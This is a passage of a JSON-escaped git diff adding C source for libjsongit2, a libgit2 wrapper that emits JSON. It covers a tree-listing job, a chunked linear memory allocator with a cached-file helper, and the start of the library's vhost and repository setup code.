%s\u005cn\u0022, er-\u003eklass, er-\u003emessage);\n+\n+\t\tgoto bail;\n+\t}\n+\n+\tctx-\u003etei \u003d lp_to_te(ctx-\u003esorted_head, next);\n+\n+\tmeta_header(ctx);\n+\n+\tCTX_BUF_APPEND(\u0022{ \u005c\u0022schema\u005c\u0022:\u005c\u0022libjg2-1\u005c\u0022,\u005cn \u005c\u0022oid\u005c\u0022:\u0022);\n+\tjg2_json_oid(\u0026oid, ctx);\n+\tCTX_BUF_APPEND(\u0022,\u005c\u0022tree\u005c\u0022: [\u0022);\n+\n+\treturn 0;\n+\n+bail:\n+\tif (u.obj) {\n+\t\tgit_object_free(u.obj);\n+\t\tu.obj \u003d NULL;\n+\t}\n+\n+\tlac_free(\u0026ctx-\u003elac_head);\n+\n+\tctx-\u003efailed_in_start \u003d 1;\n+\tjob_tree_destroy(ctx);\n+\n+\treturn -1;\n+}\n+\n+struct inline_match {\n+\tconst char *name;\n+\tunsigned char len;\n+};\n+\n+/* in order of best preference... an entry earlier in this table is more\n+ * preferable and can replace an already-matched entry from later in the\n+ * table */\n+\n+static struct inline_match inline_match[] \u003d {\n+\t{ \u0022README.md\u0022, 9 },\n+\t{ \u0022README\u0022, 6 },\n+\t{ \u0022.mkd\u0022, 4 },\n+\t{ \u0022.md\u0022, 3 },\n+};\n+\n+int\n+job_tree(struct jg2_ctx *ctx)\n+{\n+\tstruct tree_entry_info *head;\n+\tchar name[128];\n+\tsize_t m;\n+\n+\tif (ctx-\u003edestroying) {\n+\t\tjob_tree_destroy(ctx);\n+\n+\t\treturn 0;\n+\t}\n+\n+\tif (!ctx-\u003epartway \u0026\u0026 job_tree_start(ctx)) {\n+\t\tlwsl_err(\u0022%s: start failed (%s)\u005cn\u0022, __func__, ctx-\u003ehex_oid);\n+\t\treturn -1;\n+\t}\n+\n+\tif (ctx-\u003ebody) {\n+\t\t/* we're sending a blob */\n+\n+\t\tsize_t inlim_totlen \u003d ctx-\u003esize - ctx-\u003epos;\n+\n+\t\tm \u003d lws_ptr_diff(ctx-\u003eend, ctx-\u003ep) - 1;\n+\t\tif (m \u003c JG2_RESERVE_SEAL + 24)\n+\t\t\treturn 0;\n+\n+\t\tm -\u003d JG2_RESERVE_SEAL;\n+\n+\t\tif (inlim_totlen \u003e m / 6)\n+\t\t\tinlim_totlen \u003d m / 6;\n+\n+\t\tif (!inlim_totlen)\n+\t\t\tinlim_totlen \u003d 1;\n+\n+\t\tctx-\u003ep +\u003d jg2_json_purify(ctx-\u003ep, (char *)ctx-\u003ebody + ctx-\u003epos,\n+\t\t\t\t\t m, \u0026inlim_totlen);\n+\t\tctx-\u003epos +\u003d inlim_totlen;\n+\n+\t\tif (ctx-\u003epos \u003d\u003d ctx-\u003esize) {\n+\t\t\tmeta_trailer(ctx, \u0022\u005c\u0022\u0022);\n+\t\t\tjob_tree_destroy(ctx);\n+\t\t}\n+\t}\n+\n+\thead \u003d lp_to_te(ctx-\u003esorted_head, next);\n+\n+\twhile (ctx-\u003etei) {\n+\t\tconst char *tei_name \u003d (const char *)(ctx-\u003etei + 1);\n+\t\tsize_t n;\n+\n+\t\tif (!JG2_HAS_SPACE(ctx, 250 + ctx-\u003etei-\u003enamelen))\n+\t\t\tbreak;\n+\n+\t\tCTX_BUF_APPEND(\u0022%c\u005cn{ \u005c\u0022name\u005c\u0022: \u005c\u0022%s\u005c\u0022,\u0022\n+\t\t\t \u0022\u005c\u0022mode\u005c\u0022: \u005c\u0022%u\u005c\u0022, \u005c\u0022size\u005c\u0022:%llu}\u0022,\n+\t\t\t ctx-\u003etei !\u003d head ? ',' : ' ',\n+\t\t\t ellipsis_purify(name, tei_name, sizeof(name)),\n+\t\t\t (unsigned int)ctx-\u003etei-\u003emode,\n+\t\t\t (unsigned long long)ctx-\u003etei-\u003esize);\n+\n+\t\t/* is this file in the file listing an inline doc file? */\n+\n+\t\tfor (n \u003d 0; n \u003c JG2_ARRAY_SIZE(inline_match); n++) {\n+\t\t\t/*\n+\t\t\t * name has to be long enough to match; the end of the\n+\t\t\t * name must match the inline_match name; and we must\n+\t\t\t * not already have matched on the same or more\n+\t\t\t * preferable inline_match entry\n+\t\t\t */\n+\t\t\tif (ctx-\u003etei-\u003enamelen \u003c inline_match[n].len ||\n+\t\t\t strcmp(tei_name + ctx-\u003etei-\u003enamelen -\n+\t\t\t\t inline_match[n].len, inline_match[n].name) ||\n+\t\t\t (ctx-\u003eif_pref \u0026\u0026 ctx-\u003eif_pref \u003c\u003d n + 1))\n+\t\t\t\tcontinue;\n+\n+\t\t\tif (ctx-\u003esr.e[JG2_PE_PATH] \u0026\u0026 strlen(ctx-\u003esr.e[JG2_PE_PATH]))\n+\t\t\t\tif (ctx-\u003esr.e[JG2_PE_PATH][strlen(ctx-\u003esr.e[JG2_PE_PATH]) - 1] \u003d\u003d '/')\n+\t\t\t\t\tlws_snprintf(ctx-\u003einline_filename,\n+\t\t\t\t\t sizeof(ctx-\u003einline_filename),\n+\t\t\t\t\t \u0022%s%s\u0022, ctx-\u003esr.e[JG2_PE_PATH],\n+\t\t\t\t\t tei_name);\n+\t\t\t\telse\n+\t\t\t\t\tlws_snprintf(ctx-\u003einline_filename,\n+\t\t\t\t\t sizeof(ctx-\u003einline_filename),\n+\t\t\t\t\t \u0022%s/%s\u0022, ctx-\u003esr.e[JG2_PE_PATH],\n+\t\t\t\t\t tei_name);\n+\t\t\telse\n+\t\t\t\tlws_snprintf(ctx-\u003einline_filename,\n+\t\t\t\t\t sizeof(ctx-\u003einline_filename),\n+\t\t\t\t\t \u0022%s\u0022, tei_name);\n+\n+\t\t\t/*\n+\t\t\t * note how preferable this match is, so we can\n+\t\t\t * supercede it if we find a better match\n+\t\t\t */\n+\t\t\tctx-\u003eif_pref \u003d n + 1;\n+\n+\t\t\t/* we have a new job after this now... */\n+\t\t\tctx-\u003emeta_last_job \u003d 0;\n+\t\t\tbreak;\n+\t\t}\n+\n+\t\tctx-\u003etei \u003d lp_to_te(ctx-\u003etei-\u003enext, next);\n+\n+\t\tif (ctx-\u003etei)\n+\t\t\tcontinue;\n+\n+\t\tmeta_trailer(ctx, \u0022]\u0022);\n+\t\tjob_tree_destroy(ctx);\n+\t}\n+\n+\treturn 0;\n+}\ndiff --git a/lib/lac/README.md b/lib/lac/README.md\nnew file mode 100644\nindex 0000000..284923c\n--- /dev/null\n+++ b/lib/lac/README.md\n@@ -0,0 +1,27 @@\n+## Linear Alloc Chunks\n+\n+These apis provide a way to allocate a linked-list of allocated regions,\n+and to manage use of subregions inside.\n+\n+[ HEAD alloc ] -\u003e [ next alloc ] -\u003e [ next alloc ] -\u003e [ curr alloc ]\n+\n+When you make an allocation using `jg2_lac_use()`, you can either\n+set the `chunk_size` arg to zero or a specific chunk size.\n+\n+If zero, then the allocations are made in chunks of 4000 bytes if that\n+is larger than the requested size, or the requested size plus the\n+necessary overhead if it's larger. If non-zero, the chunk is sized\n+exactly to `chunk_size` plus the overhead.\n+\n+Subsequent `jg2_lac_use()` calls will use the remaining space inside\n+the current chunk if possible; if not enough remaining space it is\n+skipped and a new allocation chained on.\n+\n+Combined with linked-list pointers being stored in the objects inside\n+the LAC, it means all the linked-list pointers, and all the things\n+pointed-to are stored in a small number of allocations and can be completely\n+rolled up by freeing a single allocation list. There may be thousands of\n+objects in the LAC each indexed on multiple sorted lists, but it can only\n+take a dozen allocations or frees to allocate and destroy the whole thing\n+including all the internal lists.\n+\ndiff --git a/lib/lac/cached-file.c b/lib/lac/cached-file.c\nnew file mode 100644\nindex 0000000..d71cb13\n--- /dev/null\n+++ b/lib/lac/cached-file.c\n@@ -0,0 +1,206 @@\n+/*\n+ * libjsongit2 - linear alloc chunk\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u0022../private.h\u0022\n+\n+#include \u003cfcntl.h\u003e\n+#include \u003cunistd.h\u003e\n+\n+/*\n+ * Helper for caching a file in memory in a lac, but also to check at intervals\n+ * no less than 5s if the file is still fresh.\n+ *\n+ * Set *cache to NULL the first time before calling.\n+ *\n+ * You should call this each time before using the cache... if it's\n+ *\n+ * - less than 5s since the last freshness check, and\n+ * - the file is already in memory\n+ *\n+ * it just returns with *cache left alone; this costs very little. You should\n+ * call `lac_use_cached_file_start()` and `lac_use_cached_file_end()` to lock\n+ * the cache against deletion while you are using it.\n+ *\n+ * If it's\n+ *\n+ * - at least 5s since the last freshness check, and\n+ * - the file timestamp has changed\n+ *\n+ * then\n+ *\n+ * - the file is reloaded into a new lac and *cache set to that\n+ *\n+ * - the old cache lac, if any, is detached (so it will be freed when its\n+ * reference count reaches zero, or immediately if nobody has it)\n+ *\n+ * Note the call can fail due to OOM or filesystem issue at any time.\n+ *\n+ *\n+ * After the LAC header there is stored a `struct cached_file_info` and then\n+ * the raw file contents. *\n+ *\n+ * [LAC header]\n+ * [struct cached_file_info]\n+ * [file contents] \u003c--- *cache is set to here\n+ *\n+ * The api returns a lac_cached_file_t type offset to point to the file\n+ * contents. Helpers for reference counting and freeing are also provided\n+ * that take that type and know how to correct it back to operate on the LAC.\n+ */\n+\n+#define cache_file_to_lac(c) ((struct lac *)((char *)c - \u005c\n+\t\t\t sizeof(struct cached_file_info) - \u005c\n+\t\t\t sizeof(struct lac)))\n+\n+void\n+lac_use_cached_file_start(lac_cached_file_t cache)\n+{\n+\tstruct lac *lac \u003d cache_file_to_lac(cache);\n+\n+\tlac-\u003erefcount++;\n+\t// lwsl_debug(\u0022%s: html refcount: %d\u005cn\u0022, __func__, lac-\u003erefcount);\n+}\n+\n+void\n+lac_use_cached_file_end(lac_cached_file_t *cache)\n+{\n+\tstruct lac *lac;\n+\n+\tif (!cache || !*cache)\n+\t\treturn;\n+\n+\tlac \u003d cache_file_to_lac(*cache);\n+\n+\tif (!lac-\u003erefcount)\n+\t\tlwsl_err(\u0022%s: html refcount zero on entry\u005cn\u0022, __func__);\n+\n+\tif (lac-\u003erefcount \u0026\u0026 !--lac-\u003erefcount \u0026\u0026 lac-\u003edetached) {\n+\t\t*cache \u003d NULL; /* not usable any more */\n+\t\tlac_free(\u0026lac);\n+\t} // else\n+\t\t// lwsl_debug(\u0022%s: html refcount: %d\u005cn\u0022, __func__, lac-\u003erefcount);\n+}\n+\n+void\n+lac_use_cached_file_detach(lac_cached_file_t *cache)\n+{\n+\tstruct lac *lac \u003d cache_file_to_lac(*cache);\n+\n+\tlac-\u003edetached \u003d 1;\n+\tif (!lac-\u003erefcount) {\n+\t\t// lwsl_debug(\u0022%s: refcount zero, freeing\u005cn\u0022, __func__);\n+\t\t*cache \u003d NULL;\n+\t\tlac_free(\u0026lac);\n+\t} //else\n+\t\t// lwsl_debug(\u0022%s: refcount %d\u005cn\u0022, __func__, lac-\u003erefcount);\n+}\n+\n+int\n+lac_cached_file(const char *filepath, lac_cached_file_t *cache, size_t *len)\n+{\n+\tstruct cached_file_info *info \u003d NULL;\n+\tlac_cached_file_t old \u003d *cache;\n+\tstruct lac *lac \u003d NULL;\n+\ttime_t t \u003d time(NULL);\n+\tunsigned char *a;\n+\tstruct stat s;\n+\tsize_t all;\n+\tssize_t rd;\n+\tint fd;\n+\n+\tif (old) { /* we already have a cached copy of it */\n+\n+\t\tinfo \u003d (struct cached_file_info *)((*cache) - sizeof(*info));\n+\n+\t\tif (t - info-\u003elast_confirm \u003c 5)\n+\t\t\t/* we checked it as fresh less than 5s ago, use old */\n+\t\t\treturn 0;\n+\t}\n+\n+\t/*\n+\t * ...it's been 5s, we should check again on the filesystem\n+\t * that the file hasn't changed\n+\t */\n+\n+\tfd \u003d open(filepath, O_RDONLY);\n+\tif (fd \u003c 0) {\n+\t\tlwsl_err(\u0022%s: cannot open %s\u005cn\u0022, __func__, filepath);\n+\n+\t\treturn 1;\n+\t}\n+\n+\tif (fstat(fd, \u0026s)) {\n+\t\tlwsl_err(\u0022%s: cannot stat %s\u005cn\u0022, __func__, filepath);\n+\n+\t\tgoto bail;\n+\t}\n+\n+\tif (old \u0026\u0026 s.st_mtime \u003d\u003d info-\u003es.st_mtime) {\n+\t\t/* it still seems to be the same as our cached one */\n+\t\tinfo-\u003elast_confirm \u003d t;\n+\n+\t\tclose(fd);\n+\n+\t\treturn 0;\n+\t}\n+\n+\t/*\n+\t * we either didn't cache it yet, or it has changed since we cached\n+\t * it... reload in a new lac and then detach the old lac.\n+\t */\n+\n+\tall \u003d sizeof(*info) + s.st_size + 1;\n+\n+\tinfo \u003d lac_use(\u0026lac, all, all);\n+\tif (!info)\n+\t\tgoto bail;\n+\n+\tinfo-\u003es \u003d s;\n+\tinfo-\u003elast_confirm \u003d t;\n+\n+\ta \u003d (unsigned char *)(info + 1);\n+\n+\t*len \u003d s.st_size;\n+\ta[s.st_size] \u003d '\u005c0';\n+\n+\trd \u003d read(fd, a, s.st_size);\n+\tif (rd !\u003d s.st_size) {\n+\t\tlwsl_err(\u0022%s: cannot read %s (%d)\u005cn\u0022, __func__, filepath,\n+\t\t\t (int)rd);\n+\t\tgoto bail1;\n+\t}\n+\n+\tclose(fd);\n+\n+\t*cache \u003d (lac_cached_file_t)a;\n+\tif (old)\n+\t\tlac_use_cached_file_detach(\u0026old);\n+\n+\treturn 0;\n+\n+bail1:\n+\tlac_free(\u0026lac);\n+\n+bail:\n+\tclose(fd);\n+\n+\treturn 1;\n+}\ndiff --git a/lib/lac/lac.c b/lib/lac/lac.c\nnew file mode 100644\nindex 0000000..5c653fa\n--- /dev/null\n+++ b/lib/lac/lac.c\n@@ -0,0 +1,140 @@\n+/*\n+ * libjsongit2 - linear alloc chunk\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u0022../private.h\u0022\n+\n+void\n+list_ptr_insert(list_ptr *head, list_ptr *add, list_ptr_sort_func_t sort_func)\n+{\n+\twhile (sort_func \u0026\u0026 *head) {\n+\t\tif (sort_func(add, *head) \u003c\u003d 0)\n+\t\t\tbreak;\n+\n+\t\thead \u003d *head;\n+\t}\n+\n+\t*add \u003d *head;\n+\t*head \u003d add;\n+}\n+\n+size_t\n+lac_align(size_t length)\n+{\n+\tsize_t align \u003d sizeof(int *);\n+\n+\tif (length \u0026 (align - 1))\n+\t\tlength +\u003d align - (length \u0026 (align - 1));\n+\n+\treturn length;\n+}\n+\n+void *\n+lac_use(struct lac **head, size_t ensure, size_t chunk_size)\n+{\n+\tstruct lac *chunk;\n+\tsize_t ofs, alloc;\n+\n+\tif (!chunk_size)\n+\t\talloc \u003d LAC_CHUNK_SIZE + sizeof(*chunk);\n+\telse\n+\t\talloc \u003d chunk_size + sizeof(*chunk);\n+\n+\t/* if we meet something outside our expectation, allocate to meet it */\n+\n+\tif (ensure \u003e\u003d alloc - sizeof(*chunk))\n+\t\talloc \u003d ensure + sizeof(*chunk);\n+\n+\t/* ensure there's a chunk and enough space in it for this name */\n+\n+\tif (!*head || (*head)-\u003ecurr-\u003ealloc_size - (*head)-\u003ecurr-\u003eofs \u003c ensure) {\n+\t\tchunk \u003d malloc(alloc);\n+\t\tif (!chunk) {\n+\t\t\tlwsl_err(\u0022OOM\u005cn\u0022);\n+\t\t\treturn NULL;\n+\t\t}\n+\n+\t\tif (!*head)\n+\t\t\t*head \u003d chunk;\n+\t\telse\n+\t\t\t(*head)-\u003ecurr-\u003enext \u003d chunk;\n+\n+\t\t(*head)-\u003ecurr \u003d chunk;\n+\t\t(*head)-\u003ecurr-\u003ehead \u003d *head;\n+\n+\t\tchunk-\u003enext \u003d NULL;\n+\t\tchunk-\u003ealloc_size \u003d alloc;\n+\t\tchunk-\u003edetached \u003d 0;\n+\t\tchunk-\u003erefcount \u003d 0;\n+\n+\t\t/*\n+\t\t * belabouring the point... ofs is aligned to the platform's\n+\t\t * generic struct alignment at the start then\n+\t\t */\n+\t\t(*head)-\u003ecurr-\u003eofs \u003d sizeof(*chunk);\n+\t}\n+\n+\tofs \u003d (*head)-\u003ecurr-\u003eofs;\n+\n+\t(*head)-\u003ecurr-\u003eofs +\u003d lac_align(ensure);\n+\tif ((*head)-\u003ecurr-\u003eofs \u003e\u003d (*head)-\u003ecurr-\u003ealloc_size)\n+\t\t(*head)-\u003ecurr-\u003eofs \u003d (*head)-\u003ecurr-\u003ealloc_size;\n+\n+\treturn (char *)(*head)-\u003ecurr + ofs;\n+}\n+\n+void\n+lac_free(struct lac **head)\n+{\n+\tstruct lac *it \u003d *head;\n+\n+\twhile (it) {\n+\t\tstruct lac *tmp \u003d it-\u003enext;\n+\n+\t\tfree(it);\n+\t\tit \u003d tmp;\n+\t}\n+\n+\t*head \u003d NULL;\n+}\n+\n+void\n+lac_use_start(struct lac **iter,\n+\t\t struct lac *head)\n+{\n+\thead-\u003erefcount++;\n+\t*iter \u003d head;\n+}\n+\n+void\n+lac_use_end(struct lac *any)\n+{\n+\tany-\u003ehead-\u003erefcount--;\n+\tif (any-\u003ehead-\u003edetached \u0026\u0026 !any-\u003ehead-\u003erefcount)\n+\t\tlac_free(\u0026any-\u003ehead);\n+}\n+\n+void\n+lac_detach(struct lac *any)\n+{\n+\tany-\u003ehead-\u003edetached \u003d 1;\n+\tif (!any-\u003ehead-\u003erefcount)\n+\t\tlac_free(\u0026any-\u003ehead);\n+}\ndiff --git a/lib/lac/private.h b/lib/lac/private.h\nnew file mode 100644\nindex 0000000..e73cd1b\n--- /dev/null\n+++ b/lib/lac/private.h\n@@ -0,0 +1,106 @@\n+/*\n+ * libjsongit2 - linear alloc chunk\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u003csys/stat.h\u003e\n+\n+/* under page size of 4096 to allow overhead */\n+#define LAC_CHUNK_SIZE 4000\n+\n+#define list_ptr_container(P,T,M) ((T *)((char *)(P) - offsetof(T, M)))\n+\n+/*\n+ * These lists point to their corresponding \u0022next\u0022 member in the target, NOT\n+ * the original containing struct. To get the containing struct, you must use\n+ * list_ptr_container() to convert.\n+ *\n+ * It's like that because it means we no longer have to have the next pointer\n+ * at the start of the struct, and we can have the same struct on multiple\n+ * linked-lists with everything held in the struct itself.\n+ */\n+typedef void * list_ptr;\n+\n+/*\n+ * optional sorting callback called by list_ptr_insert() to sort the right\n+ * things inside the opqaue struct being sorted / inserted on the list.\n+ */\n+typedef int (*list_ptr_sort_func_t)(list_ptr a, list_ptr b);\n+\n+#define list_ptr_advance(_lp) _lp \u003d *((void **)_lp)\n+\n+/* sort may be NULL if you don't care about order */\n+void\n+list_ptr_insert(list_ptr *phead, list_ptr *add, list_ptr_sort_func_t sort);\n+\n+\n+/*\n+ * the chunk list members all point back to the head themselves so the list\n+ * can be detached from the formal head and free itself when its reference\n+ * count reaches zero.\n+ */\n+\n+struct lac {\n+\tstruct lac *next;\n+\tstruct lac *head; /* pointer back to the first chunk */\n+\tstruct lac *curr; /* applies to head chunk only */\n+\tsize_t alloc_size;\n+\tsize_t ofs; /* next writeable position inside chunk */\n+\tint refcount; /* applies to head chunk only */\n+\tchar detached; /* if our refcount gets to zero, free the chunk list */\n+};\n+\n+typedef unsigned char * lac_cached_file_t;\n+\n+struct cached_file_info {\n+\tstruct stat s;\n+\ttime_t last_confirm;\n+};\n+\n+/* chunk_size of 0 allocates ensure + overhead */\n+\n+void *\n+lac_use(struct lac **head, size_t ensure, size_t chunk_size);\n+\n+size_t\n+lac_align(size_t length);\n+\n+void\n+lac_free(struct lac **head);\n+\n+void\n+lac_use_start(struct lac **iter, struct lac *head);\n+\n+void\n+lac_use_end(struct lac *any);\n+\n+void\n+lac_detach(struct lac *any);\n+\n+void\n+lac_use_cached_file_start(lac_cached_file_t cache);\n+\n+void\n+lac_use_cached_file_end(lac_cached_file_t *cache);\n+\n+void\n+lac_use_cached_file_detach(lac_cached_file_t *cache);\n+\n+int\n+lac_cached_file(const char *filepath, lac_cached_file_t *cache, size_t *len);\ndiff --git a/lib/main.c b/lib/main.c\nnew file mode 100644\nindex 0000000..c9753f8\n--- /dev/null\n+++ b/lib/main.c\n@@ -0,0 +1,846 @@\n+/*\n+ * libjsongit2 - wrapper for libgit2 with JSON IO\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u0022private.h\u0022\n+\n+#include \u003cstring.h\u003e\n+#include \u003cstdio.h\u003e\n+#include \u003cunistd.h\u003e\n+\n+#include \u003csys/types.h\u003e\n+#include \u003csys/time.h\u003e\n+\n+static struct jg2_global jg2_global;\n+\n+void\n+jg2_repo_ref_destroy(struct jg2_ref *r)\n+{\n+\tfree(r-\u003eref_name);\n+\tfree(r);\n+}\n+\n+void\n+jg2_repo_reflist_destroy(struct jg2_ref *r)\n+{\n+\tstruct jg2_ref *r1;\n+\n+\twhile (r) {\n+\t\tr1 \u003d r-\u003enext;\n+\t\tjg2_repo_ref_destroy(r);\n+\t\tr \u003d r1;\n+\t}\n+}\n+\n+void\n+jg2_repo_destroy(struct jg2_repo *r)\n+{\n+\tstruct jg2_repo *r1 \u003d r-\u003evhost-\u003erepo_list, **ro \u003d \u0026r-\u003evhost-\u003erepo_list;\n+\n+\tfree(r-\u003erepo_path);\n+\tif (r-\u003erepo) {\n+\t\tgit_repository_free(r-\u003erepo);\n+\t\tr-\u003erepo \u003d NULL;\n+\t}\n+\n+\t/* remove from vhost repo list */\n+\n+\twhile (r1) {\n+\t\tif (r1 \u003d\u003d r) {\n+\t\t\t*ro \u003d r1-\u003enext;\n+\t\t\tbreak;\n+\t\t}\n+\t\tro \u003d \u0026r1-\u003enext;\n+\t\tr1 \u003d r1-\u003enext;\n+\t}\n+\n+\tjg2_repo_reflist_destroy(r-\u003eref_list);\n+\n+\tpthread_mutex_destroy(\u0026r-\u003elock);\n+\n+\tfree(r);\n+}\n+\n+/* requires vhost lock */\n+\n+int\n+__jg2_vhost_reference_html(struct jg2_vhost *vh)\n+{\n+\tchar *q;\n+\n+\tif (!vh-\u003ecfg.vhost_html_filepath)\n+\t\treturn 0;\n+\n+\t/* we hold the vhost's canned html in memory for speed */\n+\n+\tif (lac_cached_file(vh-\u003ecfg.vhost_html_filepath, \u0026vh-\u003ehtml_content,\n+\t\t\t \u0026vh-\u003ehtml_len))\n+\t\treturn 1;\n+\n+\t/* find the comment marker used for dynamic META */\n+\n+\tq \u003d strstr((char *)vh-\u003ehtml_content, JG2_HTML_META);\n+\tif (!q) {\n+\t\tlwsl_err(\u0022%s: %s lacks \u005c\u0022%s\u005c\u0022 marker\u005cn\u0022, __func__,\n+\t\t\t vh-\u003ecfg.vhost_html_filepath, JG2_HTML_META);\n+\n+\t\tlac_use_cached_file_detach(\u0026vh-\u003ehtml_content);\n+\n+\t\treturn 1;\n+\t}\n+\tvh-\u003emeta \u003d q - (char *)vh-\u003ehtml_content;\n+\n+\t/* find the comment marker used for dynamic JSON */\n+\n+\tq \u003d strstr((char *)vh-\u003ehtml_content, JG2_HTML_DYNAMIC);\n+\tif (!q) {\n+\t\tlwsl_err(\u0022%s: %s lacks \u005c\u0022%s\u005c\u0022 marker\u005cn\u0022, __func__,\n+\t\t\t vh-\u003ecfg.vhost_html_filepath, JG2_HTML_DYNAMIC);\n+\n+\t\tlac_use_cached_file_detach(\u0026vh-\u003ehtml_content);\n+\n+\t\treturn 1;\n+\t}\n+\n+\tvh-\u003edynamic \u003d q - (char *)vh-\u003ehtml_content;\n+\n+\tlac_use_cached_file_start(vh-\u003ehtml_content);\n+\n+\treturn 0;\n+}\n+\n+static struct jg2_repodir *\n+jg2_repodir_find_create(struct jg2_repodir **phead, const char *path)\n+{\n+\tstruct jg2_repodir *rd \u003d *phead;\n+\n+\twhile (rd) {\n+\t\tif (!strcmp(rd-\u003erepo_base_dir, path)) {\n+\t\t\trd-\u003erefcount++;\n+\n+\t\t\treturn rd;\n+\t\t}\n+\t\trd \u003d rd-\u003enext;\n+\t}\n+\n+\trd \u003d jg2_zalloc(sizeof(*rd));\n+\tif (!rd)\n+\t\treturn NULL;\n+\n+\tif (phead \u003d\u003d \u0026jg2_global.cachedir_head) {\n+\t\tjg2_global.count_cachedirs++;\n+\t\tif (jg2_global.count_cachedirs \u003d\u003d 1) {\n+\t\t\tif (pthread_create(\u0026jg2_global.cache_thread, NULL,\n+\t\t\t\t\t cache_trim_thread, \u0026jg2_global)) {\n+\t\t\t\tlwsl_err(\u0022cache trim thread creation failed\u005cn\u0022);\n+\t\t\t\tfree(rd);\n+\t\t\t\tjg2_global.count_cachedirs--;\n+\n+\t\t\t\treturn NULL;\n+\t\t\t}\n+\t\t}\n+\t}\n+\n+\tpthread_mutex_init(\u0026rd-\u003elock, NULL);\n+\n+\tstrncpy(rd-\u003erepo_base_dir, path, sizeof(rd-\u003erepo_base_dir) - 1);\n+\trd-\u003erepo_base_dir[sizeof(rd-\u003erepo_base_dir) - 1] \u003d '\u005c0';\n+\n+\trd-\u003erefcount \u003d 1;\n+\trd-\u003enext \u003d *phead;\n+\t*phead \u003d rd;\n+\n+\treturn rd;\n+}\n+\n+static void\n+jg2_repodir_destroy(struct jg2_repodir **phead, struct jg2_repodir *repodir)\n+{\n+\tstruct jg2_repodir *rd \u003d *phead, **ord \u003d phead;\n+\n+\twhile (rd) {\n+\t\tif (rd \u003d\u003d repodir) {\n+\t\t\t*ord \u003d rd-\u003enext;\n+\t\t\tif (rd-\u003ebatch)\n+\t\t\t\tfree(rd-\u003ebatch);\n+\t\t\tpthread_mutex_destroy(\u0026rd-\u003elock);\n+\t\t\tfree(rd);\n+\t\t\tbreak;\n+\t\t}\n+\t\tord \u003d \u0026rd-\u003enext;\n+\t\trd \u003d rd-\u003enext;\n+\t}\n+}\n+\n+void jg2_safe_libgit2_init(void)\n+{\n+#if LIBGIT2_HAS_REFCOUNTED_INIT\n+\tgit_libgit2_init();\n+#else\n+\tif (!jg2_global.thread_init_refcount++)\n+\t\tgit_threads_init();\n+#endif\n+}\n+\n+void jg2_safe_libgit2_deinit(void)\n+{\n+#if LIBGIT2_HAS_REFCOUNTED_INIT\n+\tgit_libgit2_shutdown();\n+#else\n+\tgiterr_clear();\n+\tif (!--jg2_global.thread_init_refcount) {\n+\t\tgit_threads_shutdown();\n+\t}\n+#endif\n+}\n+\n+static const char *hex \u003d \u00220123456789abcdef\u0022;\n+\n+static int\n+jg2_cache_prepare(const char *cache_base_dir, int mode, int uid)\n+{\n+\tchar dir[128];\n+\tint n, m;\n+\n+\t(void)mkdir(cache_base_dir, mode);\n+\t(void)chown(cache_base_dir, uid, -1);\n+\n+\tfor (n \u003d 0; n \u003c 16; n++) {\n+\t\tlws_snprintf(dir, sizeof(dir), \u0022%s/%c\u0022, cache_base_dir, hex[n]);\n+\t\t(void)mkdir(dir, mode);\n+\t\t(void)chown(dir, uid, -1);\n+\t\tfor (m \u003d 0; m \u003c 16; m++) {\n+\t\t\tlws_snprintf(dir, sizeof(dir), \u0022%s/%c/%c\u0022,\n+\t\t\t\t cache_base_dir, hex[n], hex[m]);\n+\t\t\t(void)mkdir(dir, mode);\n+\t\t\t(void)chown(dir, uid, -1);\n+\t\t}\n+\t}\n+\n+\treturn 0;\n+}\n+\n+struct jg2_vhost *\n+jg2_vhost_create(const struct jg2_vhost_config *config)\n+{\n+\tstruct jg2_vhost *vhost;\n+\n+\tif (!config-\u003erepo_base_dir)\n+\t\treturn 